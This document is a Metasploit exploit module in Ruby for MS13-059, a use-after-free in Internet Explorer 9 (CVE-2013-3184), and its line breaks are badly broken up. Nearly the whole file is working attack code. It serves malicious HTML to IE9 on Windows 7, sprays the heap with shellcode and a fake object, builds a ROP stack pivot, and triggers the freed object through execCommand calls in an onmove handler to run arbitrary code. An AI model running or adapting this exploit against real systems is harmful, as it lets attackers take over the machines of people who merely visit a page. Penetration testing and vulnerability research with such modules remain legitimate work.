##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require
'msf/core'
class
Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::
HTML
include Msf::Exploit::RopDb
def
initialize(info={})
super
(update_info(info,
'Name'
=>
"MS13-059 Microsoft Internet Explorer CFlatMarkupPointer Use-After-Free"
,
'Description'
=> %q{
This is a memory corruption bug found
in
Microsoft Internet Explorer. On
IE
9
,
it seems to only affect certain releases of mshtml.dll. For example: This
module
can be used against version
9
.
0
.
8112
.
16446
, but
not
for
9
.
0
.
8112
.
16421
.
IE
8
requires a different way to trigger the vulnerability, but
not
currently covered
by this
module
.
The issue is specific to the browser's
IE7
document compatibility, which can be
defined
in
X
-
UA
-Compatible,
and
the content editable mode must be enabled. An
"onmove"
event handler is also necessary to be able to trigger the bug,
and
the
event will be run twice before the crash. The first time is due to the position
change of the body element, which is also
when
a
MSHTML
!CFlatMarkupPointer::`vftable'
object is created during a
"SelectAll"
command,
and
this object will be used later
on
for
the crash. The second onmove event seems to be triggered by a InsertButton
(
or
Insert-whatever) command, which is also responsible
for
the free of object
CFlatMarkupPointer during page rendering. The EnsureRecalcNotify() function will
then
still
return
an invalid reference to CFlatMarkupPointer (stored
in
EBX
),
and
then
passes this on to the
next
functions (GetLineInfo -> QIClassID). When this
reference arrives
in
function QIClassID, an access violation finally occurs
when
the function is trying to call QueryInterface() with the bad reference,
and
this
results a crash. Successful control of the freed memory may leverage arbitrary code
execution under the context of the user.
Note: It is also possible to see a different object being freed
and
used, doesn't
always have to be CFlatMarkupPointer.
},
'License'
=>
MSF_LICENSE
,
'Author'
=>
[
'corelanc0d3r'
,
# Vuln discovery, PoC
'sinn3r'
# Metasploit
],
'References'
=>
[
[
'CVE'
,
'2013-3184'
],
[
'OSVDB'
,
'96182'
],
[
'MSB'
,
'MS13-059'
],
[
'BID'
,
'61668'
],
[
'URL'
,
'http://zerodayinitiative.com/advisories/ZDI-13-194/'
],
[
'URL'
,
'http://zerodayinitiative.com/advisories/ZDI-13-195/'
]
],
'Platform'
=>
'win'
,
'Targets'
=>
[
# Vulnerable IE9 tested: 9.0.8112.16446
[
'Automatic'
, {} ],
[
'IE 9 on Windows 7 SP1 (mshtml 9.0.8112.16446)'
, {} ]
],
'Payload'
=>
{
'BadChars'
=>
"\x00"
,
'StackAdjustment'
=> -
3500
},
'DefaultOptions'
=>
{
'InitialAutoRunScript'
=>
'migrate -f'
},
'Privileged'
=>
false
,
'DisclosureDate'
=>
"Jun 27 2013"
,
'DefaultTarget'
=>
0
))
end
def
rnd_dword
rand_text_alpha(
4
).unpack(
"V"
).first
end
def
get_fake_obj
# edx,dword ptr [eax]
# ...
# call edx
obj = [0x20302020].pack(
"V*"
)
# EAX points to this (Target spray 0x20302020)
obj << [rnd_dword].pack(
"V*"
)
obj << [rnd_dword].pack(
"V*"
)
obj << [rnd_dword].pack(
"V*"
)
obj << [rnd_dword].pack(
"V*"
)
return
obj
end
# Target spray 0x20302020
# ESI is our fake obj, with [esi]=0x20302020, [esi+4]=0x42424242, so on
# eax=20302020 ebx=80004002 ecx=0250d890 edx=cccccccc esi=03909b68 edi=0250d8cc
# eip=cccccccc esp=0250d87c ebp=0250d8a8 iopl=0 nv up ei ng nz na po cy
# cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010283
# cccccccc ?? ???
def
get_payload
code =
''
code <<
"\x81\xEC\xF0\xD8\xFF\xFF"
# sub esp, -10000
code <<
"\x61\x9d"
# popad; popfd
code << payload.encoded
stack_pivot = [
0x7c342643,
# xchg eax, esp; pop edi; add [eax], al, pop ecx; ret
0x0c0c0c0c
].pack(
"V*"
)
p = generate_rop_payload(
'java'
, code, {
'pivot'
=>stack_pivot})
return
p
end
def
is_win7_ie9?(agent)
(agent =~ /
MSIE
9
/
and
agent =~ /Windows
NT
6
\.
1
/)
end
# The meta-refresh seems very necessary to make the object overwrite more reliable.
# Without it, it only gets about 50/50
def
get_html(cli, req)
js_fake_obj = ::Rex::Text.to_unescape(get_fake_obj, ::Rex::Arch.endian(target.arch))
js_payload = ::Rex::Text.to_unescape(get_payload, ::Rex::Arch.endian(target.arch))
html = %
Q
|
<html>
<meta http-equiv=
"X-UA-Compatible"
content=
"IE=7"
/>
<meta http-equiv=
"refresh"
content=
"2"
/>
<head>
<script language=
'javascript'
>
#{js_property_spray}
var fake_obj = unescape(
"#{js_fake_obj}"
);
var s = unescape(
"#{js_payload}"
);
sprayHeap({shellcode
:s
});
function setupPage() {
document.body.style.position =
'absolute'
;
document.body.contentEditable =
'true'
;
document.body.style.right =
'1'
;
}
function hitMe() {
document.execCommand(
'SelectAll'
);
document.execCommand(
'InsertButton'
);
sprayHeap({shellcode
:fake_obj
, heapBlockSize:0x10});
document.body.innerHTML =
'#{Rex::Text.rand_text_alpha(1)}'
;
}
</script>
</head>
<body onload=
"setupPage()"
onmove=
"hitMe()"
/>
</html>
|
html.gsub(/^\t\t/,
''
)
end
def
on_request_uri(cli, request)
if
is_win7_ie9?(request.headers[
'User-Agent'
])
print_status(
"Sending exploit..."
)
send_response(cli, get_html(cli, request), {
'Content-Type'
=>
'text/html'
,
'Cache-Control'
=>
'no-cache'
})
else
print_error(
"Not a suitable target: #{request.headers['User-Agent']}"
)
send_not_found(cli)
end
end
end